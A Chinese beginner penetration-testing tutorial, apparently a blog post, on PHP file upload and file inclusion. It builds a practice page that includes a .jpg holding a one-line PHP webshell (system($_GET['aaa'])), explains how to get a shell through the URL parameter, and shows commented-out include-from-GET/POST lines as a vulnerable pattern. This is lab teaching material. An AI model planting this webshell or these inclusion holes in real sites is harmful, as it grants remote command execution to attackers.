渗透测试入门学习——php文件上传与文件包含

最终效果:
提前在网站根目录创建upload目录:
主页面(文件名为file.php):
php 复制代码
<html>
<head>
    <meta charset="utf-8">
    <title>php文件相关练习</title>
</head>

<h1>php文件相关练习</h1>

<hr>
<?php
    //文件包含include或者require
    require 'content_1.txt';
    echo $content_test;
?>

<hr>
<?php
    echo "jpg文件包含一句话木马",'<br>';
    echo "产生空值报错为正常,url中传入?aaa=dir或是=ipconfig即可getshell",'<br>';
    require 'content_2.jpg'
    //文件包含存在漏洞,可上传jpg文件或是其他文件然后用包含漏洞打开执行
    //文件包含的另一种形式,包含POST或GET传入文件
    //include $_GET['file1'];
    //require $_POST['file2'];
?>

<hr>
<form action="#" method="post" enctype="multipart/form-data">
        <label for="file">文件名:
        <input type="file" name="file" id="file">
        <input type="submit" name="submint" value="提交">
</form>

<?php
    $allow_list = array("gif", "jpeg", "jpg", "png");           //上传文件后缀(类型)白名单
    $file_name = explode(".",$_FILES["file"]["name"]);          //explode()函数,将字符串以第一个参数"."为标志分隔开成为数组
    $file_type = end($file_name);                               //获取数组最后的元素,确保为最后的元素以免出现识别test.php.jpg这样的文件时出现文件后缀识别错误的bug
    if((($_FILES["file"]["type"] == "image/gif")                //初步判断上传的文件是不是图片类型
    || ($_FILES["file"]["type"] == "image/jpeg")                //六种常见的文件类型
    || ($_FILES["file"]["type"] == "image/jpg")
    || ($_FILES["file"]["type"] == "image/pjpeg")
    || ($_FILES["file"]["type"] == "image/x-png")
    || ($_FILES["file"]["type"] == "image/png"))
    && ($_FILES["file"]["size"] <= 204800)                      //大小不超过200kb
    && in_array($file_type, $allow_list)){                      //文件后缀(类型)需要在白名单中
        echo "格式正确".'<br>';

        if($_FILES["file"]["error"] > 0){
            echo "传输失败";
        }
        else{
            echo "文件名".$_FILES["file"]["name"]."<br>";
            echo "文件类型".$_FILES["file"]["type"]."<br>";
            echo "文件大小".$_FILES["file"]["size"]."<br>";
            echo "文件临时位置".$_FILES["file"]["tmp_name"]."<br>";
            echo "传输成功<br>";
            if(file_exists("upload/".$_FILES["file"]["name"])){//判断upload是否存在上传的文件
                echo $_FILES["file"]["name"]."文件已存在";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $_FILES["file"]["name"]);//将上传的文件移动到新位置
                echo "文件已经存储在:"."upload/".$_FILES["file"]["name"];
            }
        }

    }else{
        if(empty($_FILES)){
            echo "还未上传任何文件";
        }
        else {
            echo "非法的文件格式";
        }
    }
?>
</html>
被包含的txt文件(文件名为content_1.txt):
php 复制代码
<?php
    $content_test = 555;
?>
被包含的jpg文件(文件名为content_2.jpg):

命名为content_2.php编辑好后再将后缀改为.jpg,内容为一句话木马

php 复制代码
<?php
    system($_GET['aaa']);
?>
相关推荐
yeyong7 分钟前
如何让 docker镜像使用系统时间,而不是utc
后端
1024小神9 分钟前
next项目使用状态管理zustand说明
前端
Asort9 分钟前
JavaScript设计模式(八):组合模式(Composite)——构建灵活可扩展的树形对象结构
前端·javascript·设计模式
Penge66611 分钟前
分布式与集群:从概念到跨机房部署
后端
刘永胜是我11 分钟前
【iTerm2 实用技巧】解决两大顽疾:历史记录看不全 & 鼠标滚轮失灵
前端·iterm
returnfalse13 分钟前
🔥 解密StreamParser:让数据流解析变得如此优雅!
前端
凉城a14 分钟前
经常看到的IPv4、IPv6到底是什么?
前端·后端·tcp/ip
蓝宝石Kaze19 分钟前
Go + SNS + SQS + Localstack 实现消息队列
后端·aws
jserTang20 分钟前
Cursor Plan Mode:AI 终于知道先想后做了
前端·后端·cursor
123445220 分钟前
令牌桶算法简单实现及思考
后端